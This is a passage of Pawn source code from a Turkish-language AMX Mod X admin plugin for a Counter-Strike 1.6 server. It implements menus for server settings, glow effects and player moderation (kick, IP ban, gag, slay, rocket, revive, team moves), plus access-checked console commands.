    new pcvar_alltalk = get_cvar_pointer("sv_alltalk");
    new pcvar_ff = get_cvar_pointer("mp_friendlyfire");
    new pcvar_c4 = get_cvar_pointer("mp_c4timer");

    switch (str_to_num(data)) {
        case 1: {
            if (pcvar_alltalk) {
                new val = get_pcvar_num(pcvar_alltalk);
                set_pcvar_num(pcvar_alltalk, val ? 0 : 1);
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Alltalk: ^3%s", !val ? "ACIK" : "KAPALI");
            }
        }
        case 2: {
            if (pcvar_ff) {
                new val = get_pcvar_num(pcvar_ff);
                set_pcvar_num(pcvar_ff, val ? 0 : 1);
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Dost Atesi: ^3%s", !val ? "ACIK" : "KAPALI");
            }
        }
        case 3: {
            if (pcvar_c4) {
                new val = get_pcvar_num(pcvar_c4);
                set_pcvar_num(pcvar_c4, val == 35 ? 45 : 35);
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 C4 Suresi: ^3%d sn yapildi.", val == 35 ? 45 : 35);
            }
        }
        case 4: {
            server_cmd("sv_restart 1");
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^1 Sunucu sifirlandi!");
        }
    }

    show_menu_server_settings(id);
    return PLUGIN_HANDLED;
}

// =============================================================================
// 10. GLOW MENÜSÜ
// =============================================================================
public show_menu_glow(id) {
    new menu = menu_create("\r[OYUN MABEDI] \yGlow & Parlama Efekti", "handle_menu_glow");

    menu_additem(menu, "\rKirmizi Parlama", "1");
    menu_additem(menu, "\bMavi Parlama", "2");
    menu_additem(menu, "\gYesil Parlama", "3");
    menu_additem(menu, "\ySari Parlama", "4");
    menu_additem(menu, "\wMor Parlama", "5");
    menu_additem(menu, "\dParlamayi Kapat (Normal)", "6");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_menu_glow(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    if (is_user_alive(id)) {
        switch (str_to_num(data)) {
            case 1: { set_entvar(id, var_renderfx, kRenderFxGlowShell); set_entvar(id, var_rendercolor, Float:{255.0, 0.0, 0.0}); set_entvar(id, var_renderamt, 50.0); }
            case 2: { set_entvar(id, var_renderfx, kRenderFxGlowShell); set_entvar(id, var_rendercolor, Float:{0.0, 100.0, 255.0}); set_entvar(id, var_renderamt, 50.0); }
            case 3: { set_entvar(id, var_renderfx, kRenderFxGlowShell); set_entvar(id, var_rendercolor, Float:{0.0, 255.0, 0.0}); set_entvar(id, var_renderamt, 50.0); }
            case 4: { set_entvar(id, var_renderfx, kRenderFxGlowShell); set_entvar(id, var_rendercolor, Float:{255.0, 255.0, 0.0}); set_entvar(id, var_renderamt, 50.0); }
            case 5: { set_entvar(id, var_renderfx, kRenderFxGlowShell); set_entvar(id, var_rendercolor, Float:{200.0, 0.0, 255.0}); set_entvar(id, var_renderamt, 50.0); }
            case 6: { set_entvar(id, var_renderfx, kRenderFxNone); set_entvar(id, var_renderamt, 16.0); }
        }
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Glow efekti uygulandi.");
    }

    show_menu_glow(id);
    return PLUGIN_HANDLED;
}

// =============================================================================
// OYUNCU SEÇİCİ MENÜSÜ (UNIVERSAL PLAYER PICKER)
// =============================================================================
public show_player_picker(id, action) {
    g_current_action[id] = action;

    new title[128];
    switch (action) {
        case ACT_UZABAN: copy(title, charsmax(title), "\r[UZABAN] \yKovulacak Oyuncuyu Secin:");
        case ACT_BAN: copy(title, charsmax(title), "\y[BAN] \wBanlanacak Oyuncuyu Secin:");
        case ACT_KICK: copy(title, charsmax(title), "\y[KICK] \wAtilacak Oyuncuyu Secin:");
        case ACT_GAG: copy(title, charsmax(title), "\y[GAG] \wSusturulacak Oyuncuyu Secin:");
        case ACT_UNGAG: copy(title, charsmax(title), "\y[UNGAG] \wSusturmasi Acilacak Oyuncuyu Secin:");
        case ACT_SLAY: copy(title, charsmax(title), "\y[SLAY] \wOldurulecek Oyuncuyu Secin:");
        case ACT_SLAP: copy(title, charsmax(title), "\y[SLAP] \wTokatlanacak Oyuncuyu Secin:");
        case ACT_BURY: copy(title, charsmax(title), "\y[GOM/CIKAR] \wHedef Oyuncuyu Secin:");
        case ACT_ROCKET: copy(title, charsmax(title), "\y[ROKET] \wFirlatilacak Oyuncuyu Secin:");
        case ACT_DISARM: copy(title, charsmax(title), "\y[SILAH AL] \wSilahi Alinacak Oyuncuyu Secin:");
        case ACT_REVIVE: copy(title, charsmax(title), "\y[REVIVE] \wCanlandirilacak Oyuncuyu Secin:");
        case ACT_MAKE_T: copy(title, charsmax(title), "\y[TAKIM] \wT Yapilacak Oyuncuyu Secin:");
        case ACT_MAKE_CT: copy(title, charsmax(title), "\y[TAKIM] \wCT Yapilacak Oyuncuyu Secin:");
        case ACT_MAKE_SPEC: copy(title, charsmax(title), "\y[TAKIM] \wSpec Yapilacak Oyuncuyu Secin:");
    }

    new menu = menu_create(title, "handle_player_picker");

    new count = 0;
    for (new i = 1; i <= MaxClients; i++) {
        if (!is_user_connected(i)) continue;

        new name[32], info[6];
        get_user_name(i, name, charsmax(name));
        num_to_str(i, info, charsmax(info));

        new item_str[64];
        new CsTeams:team = cs_get_user_team(i);
        new const team_prefix[][] = { "", "[T] ", "[CT] ", "[SPEC] " };

        formatex(item_str, charsmax(item_str), "%s%s %s", 
            team_prefix[any:team], name, 
            is_user_alive(i) ? "\y[Canli]" : "\d[Olu]");

        menu_additem(menu, item_str, info);
        count++;
    }

    if (count == 0) {
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Sunucuda baska oyuncu bulunamadi!");
        menu_destroy(menu);
        cmd_main_menu(id);
        return;
    }

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rGeri Don");
    menu_display(id, menu, 0);
}

public handle_player_picker(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[6], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    new target = str_to_num(data);
    if (!is_user_connected(target)) {
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Hedef oyuncu sunucudan ayrilmis!");
        return PLUGIN_HANDLED;
    }

    g_target_player[id] = target;
    new action = g_current_action[id];

    new admin_name[32], target_name[32];
    get_user_name(id, admin_name, charsmax(admin_name));
    get_user_name(target, target_name, charsmax(target_name));

    switch (action) {
        case ACT_UZABAN: execute_uzaban(id, target);
        case ACT_BAN: show_menu_ban_durations(id, target);
        case ACT_KICK: {
            server_cmd("kick #%d ^"Oyun Mabedi Yonetimi tarafindan atildiniz!^"", get_user_userid(target));
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunu sunucudan atti!", admin_name, target_name);
        }
        case ACT_GAG: {
            g_is_gagged[target] = true;
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunu susturdu!", admin_name, target_name);
        }
        case ACT_UNGAG: {
            g_is_gagged[target] = false;
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunun susturmasini kaldirdi!", admin_name, target_name);
        }
        case ACT_SLAY: {
            if (is_user_alive(target)) {
                user_silentkill(target);
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunu slayladi!", admin_name, target_name);
            }
        }
        case ACT_SLAP: {
            if (is_user_alive(target)) {
                user_slap(target, 5);
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunu tokatladi!", admin_name, target_name);
            }
        }
        case ACT_BURY: {
            if (is_user_alive(target)) {
                if (!g_is_buried[target]) {
                    new Float:origin[3];
                    get_entvar(target, var_origin, origin);
                    origin[2] -= 32.0;
                    set_entvar(target, var_origin, origin);
                    set_entvar(target, var_flags, get_entvar(target, var_flags) | FL_FROZEN);
                    g_is_buried[target] = true;
                    client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 hedefini yere gomdu!", admin_name, target_name);
                } else {
                    new Float:origin[3];
                    get_entvar(target, var_origin, origin);
                    origin[2] += 32.0;
                    set_entvar(target, var_origin, origin);
                    set_entvar(target, var_flags, get_entvar(target, var_flags) & ~FL_FROZEN);
                    g_is_buried[target] = false;
                    client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 hedefini yerden cikardi!", admin_name, target_name);
                }
            }
        }
        case ACT_ROCKET: {
            if (is_user_alive(target)) {
                set_entvar(target, var_velocity, Float:{0.0, 0.0, 1500.0});
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 hedefini rokete bagladi!", admin_name, target_name);
                set_task(1.5, "task_rocket_explode", target);
            }
        }
        case ACT_DISARM: {
            if (is_user_alive(target)) {
                rg_remove_all_items(target);
                rg_give_item(target, "weapon_knife");
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunun silahlarini aldi!", admin_name, target_name);
            }
        }
        case ACT_REVIVE: {
            if (!is_user_alive(target)) {
                rg_round_respawn(target);
                client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1 adli admin, ^4%s^1 oyuncusunu canlandirdi!", admin_name, target_name);
            }
        }
        case ACT_MAKE_T: {
            cs_set_user_team(target, CS_TEAM_T);
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^4 %s^1, Terorist takimina aktarildi.", target_name);
        }
        case ACT_MAKE_CT: {
            cs_set_user_team(target, CS_TEAM_CT);
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^4 %s^1, Anti-Terorist takimina aktarildi.", target_name);
        }
        case ACT_MAKE_SPEC: {
            user_silentkill(target);
            cs_set_user_team(target, CS_TEAM_SPECTATOR);
            client_print_color(0, print_team_default, "^4[Oyun Mabedi]^4 %s^1, Izleyici takimina aktarildi.", target_name);
        }
    }

    return PLUGIN_HANDLED;
}

public task_rocket_explode(target) {
    if (is_user_alive(target)) {
        new Float:origin[3];
        get_entvar(target, var_origin, origin);

        message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
        write_byte(TE_EXPLOSION);
        write_coord(floatround(origin[0]));
        write_coord(floatround(origin[1]));
        write_coord(floatround(origin[2]));
        write_short(0);
        write_byte(30);
        write_byte(15);
        write_byte(0);
        message_end();

        user_silentkill(target);
    }
}

// =============================================================================
// UZABAN UYGULAMA (THE LEGENDARY UZABAN)
// =============================================================================
public execute_uzaban(admin_id, target) {
    new admin_name[32], target_name[32], target_ip[32];
    get_user_name(admin_id, admin_name, charsmax(admin_name));
    get_user_name(target, target_name, charsmax(target_name));
    get_user_ip(target, target_ip, charsmax(target_ip), 1);

    // Screen Fade to Black
    message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, target);
    write_short(1 << 12);
    write_short(1 << 12);
    write_short(0x0001);
    write_byte(0);
    write_byte(0);
    write_byte(0);
    write_byte(255);
    message_end();

    // IP Ban
    server_cmd("addip 0 %s; writeip", target_ip);

    // Kick with Uzaban reason
    new userid = get_user_userid(target);
    server_cmd("kick #%d ^"OYUN MABEDI [UZABAN]: Sunucudan Kalici Olarak Uzaklastirildiniz!^"", userid);

    // Grand Announcement
    client_print_color(0, print_team_default, "^4================================================");
    client_print_color(0, print_team_default, "^3👑 [OYUN MABEDI UZABAN]^1 Yetkili ^4%s^1, ^4%s^1 oyuncusuna ^3UZABAN^1 cakarak sunucudan sonsuza dek kovdu!", admin_name, target_name);
    client_print_color(0, print_team_default, "^4================================================");
}

// =============================================================================
// BAN SÜRELERİ MENÜSÜ
// =============================================================================
public show_menu_ban_durations(id, target) {
    g_target_player[id] = target;

    new target_name[32];
    get_user_name(target, target_name, charsmax(target_name));

    new title[128];
    formatex(title, charsmax(title), "\r[BAN SURESI SECIN]^n\dHedef: \w%s", target_name);

    new menu = menu_create(title, "handle_menu_ban_durations");

    menu_additem(menu, "5 Dakika Ban", "5");
    menu_additem(menu, "30 Dakika Ban", "30");
    menu_additem(menu, "1 Saat Ban (60 dk)", "60");
    menu_additem(menu, "1 Gun Ban (1440 dk)", "1440");
    menu_additem(menu, "1 Hafta Ban (10080 dk)", "10080");
    menu_additem(menu, "\rSinirsiz (Kalici) Ban", "0");

    menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
    menu_setprop(menu, MPROP_EXITNAME, "\rIptal");
    menu_display(id, menu, 0);
}

public handle_menu_ban_durations(id, menu, item) {
    if (item == MENU_EXIT) {
        menu_destroy(menu);
        cmd_main_menu(id);
        return PLUGIN_HANDLED;
    }

    new data[12], name[64], access, callback;
    menu_item_getinfo(menu, item, access, data, charsmax(data), name, charsmax(name), callback);
    menu_destroy(menu);

    new target = g_target_player[id];
    if (!is_user_connected(target)) {
        client_print_color(id, print_team_default, "^4[Oyun Mabedi]^1 Hedef oyuncu sunucudan ayrilmis!");
        return PLUGIN_HANDLED;
    }

    new minutes = str_to_num(data);
    new admin_name[32], target_name[32], target_ip[32];
    get_user_name(id, admin_name, charsmax(admin_name));
    get_user_name(target, target_name, charsmax(target_name));
    get_user_ip(target, target_ip, charsmax(target_ip), 1);

    server_cmd("addip %d %s; writeip", minutes, target_ip);
    server_cmd("kick #%d ^"Oyun Mabedi: %d dakika yasaklandiniz!^"", get_user_userid(target), minutes);

    if (minutes == 0) {
        client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1, ^4%s^1 oyuncusunu ^3SINIRSIZ^1 banladi!", admin_name, target_name);
    } else {
        client_print_color(0, print_team_default, "^4[Oyun Mabedi]^3 %s^1, ^4%s^1 oyuncusunu ^3%d dakika^1 banladi!", admin_name, target_name, minutes);
    }

    return PLUGIN_HANDLED;
}

// =============================================================================
// CONSOLE COMMANDS FALLBACKS
// =============================================================================
public cmd_uzaban_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    new target = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS);
    if (!target) return PLUGIN_HANDLED;
    execute_uzaban(id, target);
    return PLUGIN_HANDLED;
}

public cmd_revive_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    if (equali(arg, "@all")) {
        for (new i = 1; i <= MaxClients; i++) if (is_user_connected(i) && !is_user_alive(i)) rg_round_respawn(i);
    } else {
        new target = cmd_target(id, arg, 0);
        if (target && !is_user_alive(target)) rg_round_respawn(target);
    }
    return PLUGIN_HANDLED;
}

public cmd_hp_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 3)) return PLUGIN_HANDLED;
    new arg[32], amount[16];
    read_argv(1, arg, charsmax(arg));
    read_argv(2, amount, charsmax(amount));
    new target = cmd_target(id, arg, 0);
    if (target && is_user_alive(target)) set_entvar(target, var_health, float(str_to_num(amount)));
    return PLUGIN_HANDLED;
}

public cmd_armor_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 3)) return PLUGIN_HANDLED;
    new arg[32], amount[16];
    read_argv(1, arg, charsmax(arg));
    read_argv(2, amount, charsmax(amount));
    new target = cmd_target(id, arg, 0);
    if (target && is_user_alive(target)) set_entvar(target, var_armorvalue, float(str_to_num(amount)));
    return PLUGIN_HANDLED;
}

public cmd_god_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    new target = cmd_target(id, arg, 0);
    if (target && is_user_alive(target)) {
        g_godmode[target] = !g_godmode[target];
        set_entvar(target, var_takedamage, g_godmode[target] ? DAMAGE_NO : DAMAGE_AIM);
    }
    return PLUGIN_HANDLED;
}

public cmd_noclip_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    new target = cmd_target(id, arg, 0);
    if (target && is_user_alive(target)) {
        g_noclip[target] = !g_noclip[target];
        set_entvar(target, var_movetype, g_noclip[target] ? MOVETYPE_NOCLIP : MOVETYPE_WALK);
    }
    return PLUGIN_HANDLED;
}

public cmd_money_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 3)) return PLUGIN_HANDLED;
    new arg[32], amount[16];
    read_argv(1, arg, charsmax(arg));
    read_argv(2, amount, charsmax(amount));
    new target = cmd_target(id, arg, 0);
    if (target) rg_add_account(target, str_to_num(amount), AS_SET);
    return PLUGIN_HANDLED;
}

public cmd_disarm_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    new target = cmd_target(id, arg, 0);
    if (target && is_user_alive(target)) {
        rg_remove_all_items(target);
        rg_give_item(target, "weapon_knife");
    }
    return PLUGIN_HANDLED;
}

public cmd_gag_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    new target = cmd_target(id, arg, 0);
    if (target) g_is_gagged[target] = true;
    return PLUGIN_HANDLED;
}

public cmd_ungag_con(id, level, cid) {
    if (!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED;
    new arg[32];
    read_argv(1, arg, charsmax(arg));
    new target = cmd_target(id, arg, 0);
    if (target) g_is_gagged[target] = false;
    return PLUGIN_HANDLED;
}
